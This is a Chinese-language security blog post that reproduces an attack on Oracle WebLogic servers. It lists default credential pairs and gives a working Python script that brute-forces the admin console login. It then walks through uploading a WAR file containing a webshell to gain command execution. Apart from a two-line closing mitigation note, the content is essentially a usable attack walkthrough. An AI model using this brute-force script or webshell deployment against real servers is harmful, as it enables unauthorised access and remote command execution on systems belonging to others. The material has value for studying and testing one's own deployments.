Weblogic爆破&JAR包部署GetShell

影响范围

Weblogic *

漏洞类型

弱口令爆破

利用条件

未启用锁账号机制(默认是启动的,有些用户可能会为了便捷而关闭)

Weblogic爆破&JAR包部署GetShell

漏洞概述

WebLogic是美国Oracle公司出品的一个Application Server,它是一个基于JAVAEE架构的中间件,主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,而弱口令作为历年来雄踞Top 10漏洞榜单的知名类型漏洞在Weblogic中也常常会遇到,不过目前Weblogic安装之后默认会启动锁封机制,当用户连续输错5次账号密码则会锁定账号。

常用口令

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem:wlcsystem
weblogic:Oracle@123

漏洞复现

口令爆破

在登陆页面随便输入一个用户名密码,利用network查看提交情况

Weblogic爆破&JAR包部署GetShell

 可以看到点击提交按钮后,浏览器向http://192.168.174.144:7001/console/j_security_check地址以POST的方式提交了这个表单

Weblogic爆破&JAR包部署GetShell

j_username: admin
j_password: admin
j_character_encoding: UTF-8

当提交错误时会重新返回登陆页面的地址,正确时则返回新的地址:

Weblogic爆破&JAR包部署GetShell

 根据这个思路即可以编写爆破脚本如下:

#!/usr/bin/env python           
# coding  : utf-8 
# Date    : 2020/11/11
# Author  : Al1ex

import requests
 
class WebLogic:
    def __init__(self, url):
        if '://' not in url:
            url = 'http://' + url
        self.url = url.strip('/')
 
    def weakPasswd(self):
 
        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','admin123']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic username: '+user+'  password: '+pwd)
                    exit()
 
if __name__ == '__main__':
    url = '192.168.174.144'
    wls = WebLogic(url)
        
    wls.weakPasswd()

执行结果:

Weblogic爆破&JAR包部署GetShell

GetShell

登陆weblogic后台http://192.168.174.144:7001/console,之后点击左侧的部署,在弹出来的右侧页面点击"安装"

Weblogic爆破&JAR包部署GetShell

 在安装页面选择"上载文件":

Weblogic爆破&JAR包部署GetShell

在"将部署上载到管理服务器"区域选择"浏览",然后按照提示(其实就是一直下一步就行,最后点保存)将打包好的包含大马的war包上传至服务器

Weblogic爆破&JAR包部署GetShell

Weblogic爆破&JAR包部署GetShell

 Weblogic爆破&JAR包部署GetShell

Weblogic爆破&JAR包部署GetShell

Weblogic爆破&JAR包部署GetShell

Weblogic爆破&JAR包部署GetShell

Weblogic爆破&JAR包部署GetShell

 之后访问webshell所在URL:  http://192.168.174.144:7001/test/test/job.jsp

Weblogic爆破&JAR包部署GetShell

命令执行:

Weblogic爆破&JAR包部署GetShell

安全建议

1、启用*机制规避暴力破解风险

2、妥善保管Weblogic系统账号密码

上一篇:html大文件传输实例


下一篇:MVCC 多版本并发控制